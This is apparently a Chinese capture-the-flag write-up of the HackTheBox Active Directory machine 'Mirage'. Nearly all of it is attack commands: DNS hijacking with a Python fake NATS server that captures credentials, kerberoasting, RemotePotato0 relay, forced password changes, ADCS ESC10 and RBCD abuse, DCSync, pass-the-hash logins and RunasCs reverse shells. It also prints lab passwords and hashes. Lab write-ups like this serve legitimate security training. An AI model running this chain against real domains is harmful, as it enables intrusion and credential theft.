
nmap -T4 -v -A -Pn 10.10.11.78 -oN Mirage/mirage.txt

user
真的没有东西,扫一下 udp 端口
nmap -T4 -v -A -Pn -sU --min-rate=2000 10.10.11.78
udp 太慢了,要增加一下发包速度--min-rate=2000
然后扫出来的端口再重新用服务探测跑一遍
nmap -p53,88,111,123,389,2049 -sU -sCV 10.10.11.78 -oN mirage_udp.txt

NFS
可以看到 2049 有 nfs 服务,看下是否有泄露
showmount -e 10.10.11.78

mount 挂载到本地新建目录,发现俩 pdf
mount -t nfs 10.10.11.78:/MirageReports nfs_test

cp 出来,完事后记得断一下挂载
umount 10.10.11.78:/MirageReports
看了一下两份安全报告
1、nats-svc.mirage.htb 的 dns 记录丢失
2、准备弃用 NTLM 认证,转为全面 kerberos 认证
没有了 nats 的 dns,那我们可以进行 dns 劫持,来获取别人请求 nats 服务器时候的认证信息
NATS
nsupdate 先更新域内的 dns 记录
└─# nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 3600 A <ip>
> send
这个时候如果我们监听 4222 端口,是可以看到有域内的请求

我们需要一个脚本伪造一个 nats 服务端,发回一个 info 信息。才会再次发来认证信息
import socket
HOST = "0.0.0.0" # 监听所有地址
PORT = 4222 # NATS 默认端口
print(f"[+] Fake NATS Server listening on {HOST}:{PORT}")
# 创建 TCP 套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
while True:
try:
client, addr = s.accept()
print(f"[+] Connection from {addr}")
# 发送伪造的 INFO 消息 —— NATS 客户端握手时必须的
info = b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n'
client.sendall(info)
# 接收客户端可能发送的认证信息
data = client.recv(2048)
print("[>] Received:")
print(data.decode(errors='replace'))
# 可选:回复错误消息 或者直接关闭连接
# client.sendall(b'-ERR "Authorization Violation"\r\n')
client.close()
except Exception as e:
print(f"[!] Error: {e}")
再次更新一下 dns 记录,就能收到回连的认证信息了

"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!"

更新一下 krb5.conf
这个账号 ntlm 认证和请求票据都不行。试试用来请求真正的 nats 服务
查询 nats 服务存储的信息
./nats --server nats://10.10.11.78:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! stream ls

新建一个消费者用来拉信息
./nats --server nats://10.10.11.78:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! consumer add auth_logs pull --pull --ack explicit

用 pull 消费者拉去5 条信息,看到了一个账户信息在里面
./nats --server nats://10.10.11.78:4222 --user Dev_Account_A --password hx5h7F5554fP@1337! consumer next auth_logs pull --count=5

"david.jjackson","password":"pN8kQmn6b86!1234@"
请求票据来认证,成功

bloodhound 跑一下域内环境
bloodhound-python -d mirage.htb -ns 10.10.11.78 -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k -c All --zip

NATHAN.AADAM
nathan.aadam 可以请求票据,同时还有 spn,可以用作 kerberoasting

kerberoasting
python /home/kali/Tool/targetedKerberoast/targetedKerberoast.py -v -d 'mirage.htb' --dc-host 'dc01.mirage.htb' -u 'david.jjackson' -k

hashcat 离线爆破 nathan.aadam:3edc#EDC3
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --show

重新票据认证一下
impacket-getTGT mirage.htb/'nathan.aadam':'3edc#EDC3'
export KRB5CCNAME=nathan.aadam.ccache
nxc ldap mirage.htb -u 'nathan.aadam' -p '3edc#EDC3' -k

回到 bloodhound 分析一下nathan.aadam
属于 remote managerment users 组,可以远程登录

直接 evil-winrm 登录
evil-winrm -i dc01.mirage.htb -r mirage.htb -k nathan.aadam.ccache

到桌面就可以看到 user.txt 了
ROOT
AutoLogon
没找到东西了,上传一个 winpeas.exe 跑一下,

这里有 mark.bbond 的自动登录凭证,但是查看不到 pass
可以用中继加强制认证来获取这个 pass,但是是本地 PetitPotam 行不通的,但是有这个RemotePotato0
https://github.com/antonioCoco/RemotePotato0/releases/tag/1.2
这里要看一下 mark 的 session id,但是 query 在 powershell 里行不通,可以传 runascs 切换成 cmd 来运行
.\RunasCs.exe nathan.aadam 3edc#EDC3 cmd.exe -r <ip>:<port>


然后查看一下 session id
query session

直接执行 remotepotato 是不行的,要本地转发一下端口到目标 ip

kali 本地监听 135 端口,转发到目标的 9999 端口
然后靶机指定到我们的 ip 就可以了
socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999
.\RemotePotato0.exe -m 2 -s 1 -x <ip> -p 9999


拿到 ntlmv2 hash 之后进行破解
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --show

MARK.BBOND:1day@atime
再光顾一下 bloodhound

forcechangepassword
属于 IT_SUPPORT,可以修改 javier.mmarshall
先请求票据获取 mark 的权限
impacket-getTGT mirage.htb/'mark.bbond':'1day@atime'
export KRB5CCNAME=mark.bbond.ccache
nxc ldap 10.10.11.78 -u 'mark.bbond' -p '1day@atime' -k

直接开始修改密码
bloodyAD --host "dc01.mirage.htb" -d "mirage.htb" --kerberos --dc-ip 10.10.11.78 -u "mark.bbond" -p '1day@atime' set password "javier.mmarshall" 'Admin@123456'

然后获取票据再来一套
impacket-getTGT dc01.mirage.htb/'javier.mmarshall':'Admin@123456'

返回没办法认证,估计被禁用了,到 bloodhound 看一眼

确实,那要复活了,用mark.bbond 账户恢复
Enable-ADAccount -Identity "javier.mmarshall"
用nathan.aadam 的权限跑 runascs 指定 mark.bbond 凭证
先拿到 mark 的 shell,然后就可以操作这个了(指定 powershell.exe)
.\RunasCs.exe mark.bbond 1day@atime powershell.exe -r <ip>:<port>


验证一下

但是 logon hours allowed 是 null,没有设置登录时间,所以 impacket-tgt 还是不行。
有一个办法
但是我比较懒,直接用 mark 的权限清除了登录时间限制
Set-ADUser -Identity "javier.mmarshall" -Clear logonHours

重新跑一遍 kerberos 一条龙,出来了

ReadGMSAPassword
三顾 bloodhound

readgmsapassword 可以用gMSADumper 来
python gMSADumper.py -k -d mirage.htb -l dc01.mirage.htb
抽象了,这里/etc/hosts 里把 dc01 放前面就可以了,整了半天。。。

Mirage-Service$:::7a77d15fb5a4b7035ef2524b1cc4142f
impacket-getTGT mirage.htb/'Mirage-Service$' -hashes ':7a77d15fb5a4b7035ef2524b1cc4142f' -k

跑 nxc 的时候发现了域内证书服务器
nxc ldap 10.10.11.78 -u 'Mirage-Service$' -H '7a77d15fb5a4b7035ef2524b1cc4142f' -k -M adcs

certipy-ad 跑一下,没跑到
certipy-ad find -vulnerable -k -target 'dc01.mirage.htb' -dc-ip '10.10.11.78'

ESC10
bloodhound 暂时看不到其他可利用
bloodyAD 看一下用户对哪些的可写权限,对 mark 有
bloodyAD --host dc01.mirage.htb --dc-ip 10.10.11.78 -d mirage.htb -k get writable

详细看一下
bloodyAD --host dc01.mirage.htb --dc-ip 10.10.11.78 -d mirage.htb -k get writable --otype USER --right WRITE --detail

可以修改 SPN 和 UPN,可以用 ESC10。有证书服务器是有道理的

certipy-ad 查询不到,对位了

注册表检查
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

此键的 DWORD 值包含位标志 0x4
,满足先决条件
读取 mark 原始 upn:mark.bbond@mirage.htb
certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":7a77d15fb5a4b7035ef2524b1cc4142f" -k -target dc01.mirage.htb -dc-ip '10.10.11.78' -user 'mark.bbond' read

将 mark 的 upn 更新为 dc 的 upn
certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":7a77d15fb5a4b7035ef2524b1cc4142f" -k -target dc01.mirage.htb -dc-ip '10.10.11.78' -user 'mark.bbond' -upn 'dc01$@mirage.htb' update

重新获取 mark 的凭证并导入 ccache
impacket-getTGT mirage.htb/'mark.bbond':'1day@atime'
export KRB5CCNAME=mark.bbond.ccache

以 mark 身份请求证书
certipy-ad req -k -target 'dc01.mirage.htb' -dc-ip '10.10.11.78' -ca 'mirage-DC01-CA' -template 'User'

将 mark 的 upn 恢复到原始值
certipy-ad account -u 'mirage-service$@mirage.htb' -hashes ":7a77d15fb5a4b7035ef2524b1cc4142f" -k -target dc01.mirage.htb -dc-ip '10.10.11.78' -user 'mark.bbond' -upn 'mark.bbond@mirage.htb' update

使用证书向 LDAPS 进行身份验证,作为目标 DC
certipy-ad auth -pfx 'dc01.pfx' -dc-ip '10.10.11.78' -ldap-shell

还正好给我们提供了下一步思路
RBCD
设置dc01$的 msDS-AllowedToActOnBehalfOfOtherIdentity 为mirage-service$
这样mirage-service$就可以伪造任意用户来访问 dc01$
set_rbcd dc01$ mirage-service$

用户用 upn 格式
impacket-getST -spn cifs/dc01.mirage.htb -impersonate 'dc01$' -dc-ip 10.10.11.78 'mirage.htb/mirage-service$' -hashes ":7a77d15fb5a4b7035ef2524b1cc4142f" -k

DCSync
有了 st,就可以用来 dcsync 获取域内所有 hash 了
导入票据再导 hash
export KRB5CCNAME='dc01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache'
impacket-secretsdump mirage.htb/'dc01$'@'dc01.mirage.htb' -k -no-pass

administrator:7be6d4f3c2b9c0e3560f5a29eeb1afb3
获取 tgt,登录
impacket-getTGT mirage.htb/'administrator' -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3'
export KRB5CCNAME='administrator.ccache'
evil-winrm -i dc01.mirage.htb -r mirage.htb -k administrator.ccache

就可以拿到 root.txt 了


Comments | NOTHING